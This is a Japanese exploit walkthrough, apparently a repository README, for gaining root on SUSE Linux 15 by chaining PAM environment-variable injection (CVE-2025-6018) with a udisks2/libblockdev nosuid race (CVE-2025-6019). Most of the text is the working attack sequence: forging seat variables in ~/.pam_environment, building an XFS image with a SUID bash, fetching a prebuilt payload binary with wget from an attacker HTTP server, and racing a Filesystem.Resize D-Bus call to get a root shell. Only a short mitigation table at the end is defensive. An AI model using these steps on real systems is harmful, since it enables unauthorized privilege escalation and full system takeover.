
SUSE Linux におけるローカル権限昇格のためのエクスプロイトチェーン。PAM 環境変数インジェクションと udisks2 のレースコンディションを連鎖させて root シェルを取得します。
対象OS: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
必要なアクセス権: SSHアクセスが可能な非特権ローカルユーザー
結果: 完全なrootシェル
このドキュメントでは、Qualys Threat Research Unitによって発見された2つの連鎖するローカル権限昇格の脆弱性を手動で悪用する方法について詳しく説明します。
~/.pam_environmentを介したPAM環境変数インジェクション。リモートSSHユーザーが、通常は物理的に存在するコンソールユーザーにのみ付与されるallow_active Polkitステータスを取得できるようにします。libblockdev(udisks2が使用)が、Filesystem.Resize D-Bus操作中にファイルシステムを一時的にマウントする際にnosuidフラグの適用に失敗します。これにより、ユーザーが制御するループデバイスからSUIDバイナリを実行できます。これらの脆弱性を連鎖させることで、非特権SSHユーザーは他のユーザーの操作を必要とせずにrootへ権限昇格できます。
攻撃者マシン(Kali Linux):
xfsprogsがインストールされていること(sudo apt install xfsprogs -y)gccが利用可能であることpython3 -m http.server)ターゲットマシン:
udisks2とpolkitがインストールされていること(これらのシステムではデフォルト)gdbusが利用可能であること(glib2の一部としてデフォルトインストール)非特権ユーザーとしてSSHアクセスを取得した後、ターゲットが脆弱であることを確認します。
OSの確認:
cat /etc/os-release | grep -E "NAME|VERSION"
システムはopenSUSE Leap 15.xまたはSUSE Linux Enterprise 15.xである必要があります。
pam_envがユーザーファイルを読み取ることを確認:
grep "pam_env" /etc/pam.d/common-auth
user_readenv=1または単にpam_env.soの存在を探します。デフォルトのSUSEインストールではこれが有効になっています。
udisks2とpolkitが実行中であることを確認:
systemctl is-active udisks2
systemctl is-active polkit
ループデバイスセットアップのPolkitポリシーを確認:
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
allow_activeの値がyesである必要があります。
allow_activeの取得この脆弱性は、pam_env.soがSSHログイン中に~/.pam_environmentを読み取り、pam_systemd.soがセッションコンテキストを評価する前にそれらの変数をセッション環境に注入することを悪用します。XDG_SEATとXDG_VTNRを設定することで、攻撃者はsystemd-logindを欺いてリモートSSHセッションを物理コンソールセッションとして扱わせ、allow_active Polkit権限を付与させます。
変数の注入:
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment
ログアウトしてSSHで再接続し、PAM処理をトリガー:
exit
ssh user@<target_ip>
allow_activeが付与されたことを確認:
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"
出力に以下が表示される必要があります:
Active=yes
Seat=seat0
VTNr=1
セッションIDとD-Busアドレスが自動的に設定されない場合は設定:
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
XFSイメージは、SUSE 15カーネルと互換性のある機能でフォーマットする必要があります。最新バージョンのxfsprogsは、exchange、parent、bigtime、inobtcount、nrext64などの機能をデフォルトで有効にしますが、これらは古いSUSEカーネルではサポートされておらず、マウント失敗の原因となります。以下のフラグは互換性のあるV5 XFSイメージを生成します:
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500
mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image
イメージをマウントし、SUID bashバイナリを注入:
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt
出力に-rwsr-xr-x 1 root rootが表示される必要があります。
Filesystem.Resize中の脆弱なマウントウィンドウはわずか数ミリ秒しかないため、確実に捕捉するにはコンパイル済みのCバイナリが必要です。純粋なBashループでは遅すぎます。
リリースページからプリコンパイル済みペイロードをダウンロード:
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload
[!NOTE] バイナリを自分でコンパイルすることもできます。ソースコードはpayload.cで入手できます。
両方のファイルをHTTPで配信:
cd /tmp && python3 -m http.server 8888
# XFSイメージの転送
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image
# キャッチャーバイナリの転送
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload
このステップでは、ターゲットへの2つの同時SSHセッションが必要です。
ループデバイスのセットアップ(どちらかのセッション):
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction
割り当てられたループデバイスをメモします(例: /dev/loop1)。
セッション1: キャッチャーを起動して実行したままにする:
/tmp/payload
[!NOTE] キャッチャーがrootシェルを生成せずにすぐに終了する場合は、ループデバイスのセットアップ前に起動してみて、シーケンスを繰り返してください。
セッション2: すぐにリサイズをトリガー:
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus
gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
Resize呼び出しはエラーを返しますが、失敗する前にlibblockdevはnosuidフラグなしで/tmp/blockdev.XXXXXX/の一時パスにファイルシステムをマウントします。セッション1のキャッチャーはこのマウントを検出し、その中のSUID bashバイナリを実行し、rootシェルを/tmp/rootbashにコピーして起動します。
[!NOTE]
Not authorized to perform operationの問題が発生した場合は、udiskctl loop-setup...コマンドの実行に成功したターミナルを使用し、もう一方のシェルで/tmp/payloadスクリプトを実行してみてください。
キャッチャーが完了すると、rootシェルが自動的に起動されるか、以下の方法で取得できます:
/tmp/rootbash -p
whoami
# root
| コンポーネント | 修正 |
|---|
| CVE-2025-6018 | PAMでuser_readenvを無効化: /etc/pam.d/common-authでuser_readenv=0を設定 |
| CVE-2025-6019 | libblockdevとudisks2をディストリビューションベンダーのパッチ適用済みバージョンに更新 |
| Polkitの強化 | UDisks2ポリシーファイルでorg.freedesktop.udisks2.loop-setupのallow_activeをauth_adminに変更 |